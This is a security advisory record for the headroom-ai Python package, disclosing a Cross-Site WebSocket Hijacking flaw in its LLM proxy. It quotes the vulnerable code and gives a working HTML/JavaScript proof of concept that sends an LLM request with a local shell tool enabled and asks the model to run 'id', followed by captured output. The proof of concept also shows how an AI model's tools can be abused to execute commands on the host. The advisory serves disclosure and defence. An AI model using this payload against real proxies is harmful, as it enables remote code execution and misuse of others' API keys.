Vulnerabilities in pkg:pypi/headroom-ai

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h46j-26q3-rggf",
  "modified" : "2026-10-02T23:09:15Z",
  "published" : "2026-10-02T23:09:15Z",
  "aliases" : [ "CVE-2026-71416" ],
  "summary" : "Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)",
  "details" : "### Summary\nThe Headroom WebSocket server does not validate the `Origin` header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the `OPENAI_API_KEY` environment variable.\n\n### Details\nThe Headroom server defines a WebSocket handler at `ws://<headroom_host>:8787/v1/responses` in `headroom/providers/proxy_routes.py`:\n```python\n    @app.websocket(\"/v1/responses\")\n    async def openai_responses_ws(websocket: WebSocket):\n        await proxy.handle_openai_responses_ws(websocket)\n```\nIn the `handle_openai_responses_ws()` method of the `OpenAIHandlerMixin` class, the `Origin` header of the WebSocket client handshake is not checked or verified before calling `websocket.accept()`, which grants any WebSocket client (including malicious clients) access to the server:\n```python\n    async def handle_openai_responses_ws(self, websocket: WebSocket) -> None:\n        \"\"\"WebSocket proxy for /v1/responses (Codex gpt-5.4+).\n\n        Newer Codex versions use WebSocket instead of HTTP POST for the\n        Responses API.  This handler:\n        1. Accepts the client WebSocket\n        2. Receives the first message (``response.create`` request)\n        3. Opens an upstream WebSocket to OpenAI\n        4. Compresses eligible `response.create` text through the Python\n           ContentRouter path, then sends the request upstream\n        5. Relays all subsequent messages bidirectionally\n        \"\"\"\n        ...\n\n        # Accept client connection with the requested subprotocol\n        async with stage_timer.measure(\"accept\"):\n            if client_subprotocols:\n                await websocket.accept(subprotocol=client_subprotocols[0])\n            else:\n                await websocket.accept()\n```\nThe malicious WebSocket client does not need to provide authentication headers or API keys as the `Authorization` header is automatically populated with the OpenAI API key via the `OPENAI_API_KEY` environment variable, if it has been used to store the API key:\n```python\n        # Ensure Authorization header is present — fall back to OPENAI_API_KEY env var.\n        # Safety net for clients that don't forward auth headers via WebSocket upgrade.\n        if \"authorization\" not in _lower_headers:\n            api_key = os.environ.get(\"OPENAI_API_KEY\")\n            if api_key:\n                upstream_headers[\"Authorization\"] = f\"Bearer {api_key}\"\n                logger.debug(f\"[{request_id}] WS: injected Authorization from OPENAI_API_KEY env\")\n            else:\n                logger.warning(\n                    f\"[{request_id}] WS: no Authorization header from client and \"\n                    f\"OPENAI_API_KEY not set — upstream will likely reject\"\n                )\n```\nOnce the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary `instructions`/`input` prompts and tools.\n\n### PoC\n- Run the Headroom proxy server: `OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0`\n- Render the following HTML PoC page in a traditional or headless browser which has access to the Headroom proxy server:\n```html\n<html>\n<body>\n\t<script>\n\t\tlet headroomHost = '192.168.0.106';\n\t\tlet socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`);\n\n\t\tlet openAiPayload = {\n\t\t\ttype: \"response.create\",\n\t\t\tmodel: \"gpt-5.4\",\n\t\t\tinstructions: \"The local bash shell environment is on Linux.\",\n\t\t\tinput: \"Run the id command for the logged in user\",\n\t\t\ttools: [{type: \"shell\", environment: {type: \"local\"}}]\n\t\t};\n\n\t\tsocket.addEventListener(\"open\", (event) => {\n\t\t\tlet openAiPayloadStr = JSON.stringify(openAiPayload);\n\t\t\tconsole.log(`Sending LLM request: ${openAiPayloadStr}`);\n\t\t  \tsocket.send(openAiPayloadStr);\n\t\t});\n\n\t\tsocket.addEventListener(\"message\", (event) => {\n\t\t  \tconsole.log(`Response from server: ${event.data}`);\n\t\t});\n\t</script>\n</body>\n</html>\n``` \n- The PoC uses the shell tool, but any tool/input/instruction prompt can be used. \n#### Output\nThe `console.log()` output from the PoC shows that the malicious WebSocket client request was accepted by Headroom and forwarded to the upstream OpenAI API. The server responses show that I have an insufficient quota to perform the LLM request, but proves that it was attempted:\n```\nSending LLM request: {\"type\":\"response.create\",\"model\":\"gpt-5.4\",\"instructions\":\"The local bash shell environment is on Linux.\",\"input\":\"Run the id command for the logged in user\",\"tools\":[{\"type\":\"shell\",\"environment\":{\"type\":\"local\"}}]}\nws.html:22 Response from server: {\"type\":\"response.created\",\"response\":{\"id\":\"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b\",\"object\":\"response\",\"created_at\":1780650263,\"status\":\"in_progress\",\"background\":false,\"completed_at\":null,\"error\":null,\"frequency_penalty\":0.0,\"incomplete_details\":null,\"instructions\":\"The local bash shell environment is on Linux.\",\"max_output_tokens\":null,\"max_tool_calls\":null,\"model\":\"gpt-5.4-2026-03-05\",\"moderation\":null,\"output\":[],\"parallel_tool_calls\":true,\"presence_penalty\":0.0,\"previous_response_id\":null,\"prompt_cache_key\":null,\"prompt_cache_retention\":\"24h\",\"reasoning\":{\"context\":\"current_turn\",\"effort\":\"none\",\"summary\":null},\"safety_identifier\":null,\"service_tier\":\"auto\",\"store\":true,\"temperature\":1.0,\"text\":{\"format\":{\"type\":\"text\"},\"verbosity\":\"medium\"},\"tool_choice\":\"auto\",\"tools\":[{\"type\":\"shell\",\"environment\":{\"type\":\"local\"}}],\"top_logprobs\":0,\"top_p\":0.98,\"truncation\":\"disabled\",\"usage\":null,\"user\":null,\"metadata\":{}},\"sequence_number\":0}\nws.html:22 Response from server: {\"type\":\"response.in_progress\",\"response\":{\"id\":\"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b\",\"object\":\"response\",\"created_at\":1780650263,\"status\":\"in_progress\",\"background\":false,\"completed_at\":null,\"error\":null,\"frequency_penalty\":0.0,\"incomplete_details\":null,\"instructions\":\"The local bash shell environment is on Linux.\",\"max_output_tokens\":null,\"max_tool_calls\":null,\"model\":\"gpt-5.4-2026-03-05\",\"moderation\":null,\"output\":[],\"parallel_tool_calls\":true,\"presence_penalty\":0.0,\"previous_response_id\":null,\"prompt_cache_key\":null,\"prompt_cache_retention\":\"24h\",\"reasoning\":{\"context\":\"current_turn\",\"effort\":\"none\",\"summary\":null},\"safety_identifier\":null,\"service_tier\":\"auto\",\"store\":true,\"temperature\":1.0,\"text\":{\"format\":{\"type\":\"text\"},\"verbosity\":\"medium\"},\"tool_choice\":\"auto\",\"tools\":[{\"type\":\"shell\",\"environment\":{\"type\":\"local\"}}],\"top_logprobs\":0,\"top_p\":0.98,\"truncation\":\"disabled\",\"usage\":null,\"user\":null,\"metadata\":{}},\"sequence_number\":1}\nws.html:22 Response from server: {\"type\":\"error\",\"error\":{\"type\":\"insufficient_quota\",\"code\":\"insufficient_quota\",\"message\":\"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors.\",\"param\":null},\"sequence_number\":2}\nws.html:22 Response from server: {\"type\":\"response.failed\",\"response\":{\"id\":\"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b\",\"object\":\"response\",\"created_at\":1780650263,\"status\":\"failed\",\"background\":false,\"completed_at\":null,\"error\":{\"code\":\"insufficient_quota\",\"message\":\"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors.\"},\"frequency_penalty\":0.0,\"incomplete_details\":null,\"instructions\":\"The local bash shell environment is on Linux.\",\"max_output_tokens\":null,\"max_tool_calls\":null,\"model\":\"gpt-5.4-2026-03-05\",\"moderation\":null,\"output\":[],\"parallel_tool_calls\":true,\"presence_penalty\":0.0,\"previous_response_id\":null,\"prompt_cache_key\":null,\"prompt_cache_retention\":\"24h\",\"reasoning\":{\"context\":\"current_turn\",\"effort\":\"none\",\"summary\":null},\"safety_identifier\":null,\"service_tier\":\"auto\",\"store\":true,\"temperature\":1.0,\"text\":{\"format\":{\"type\":\"text\"},\"verbosity\":\"medium\"},\"tool_choice\":\"auto\",\"tools\":[{\"type\":\"shell\",\"environment\":{\"type\":\"local\"}}],\"top_logprobs\":0,\"top_p\":0.98,\"truncation\":\"disabled\",\"usage\":null,\"user\":null,\"metadata\":{}},\"sequence_number\":3}\n```\n\n### Impact\nAllowing malicious WebSocket clients to perform arbitrary LLM requests could leverage tools such as the shell tool to perform arbitrary commands leading to RCE. Other tools or prompts could be used to disclose sensitive information or perform expensive LLM requests to waste an organisations quota.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "headroom-ai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.35.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-71416"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/headroomlabs-ai/headroom/pull/1481"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/headroomlabs-ai/headroom/commit/c632023cc1ec61d15f8f8e86efe3b54d51604a64"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/headroomlabs-ai/headroom"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/headroomlabs-ai/headroom/releases/tag/v0.35.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1385", "CWE-287" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-02T23:09:15Z",
    "nvd_published_at" : "2026-09-11T14:17:32Z"
  }
}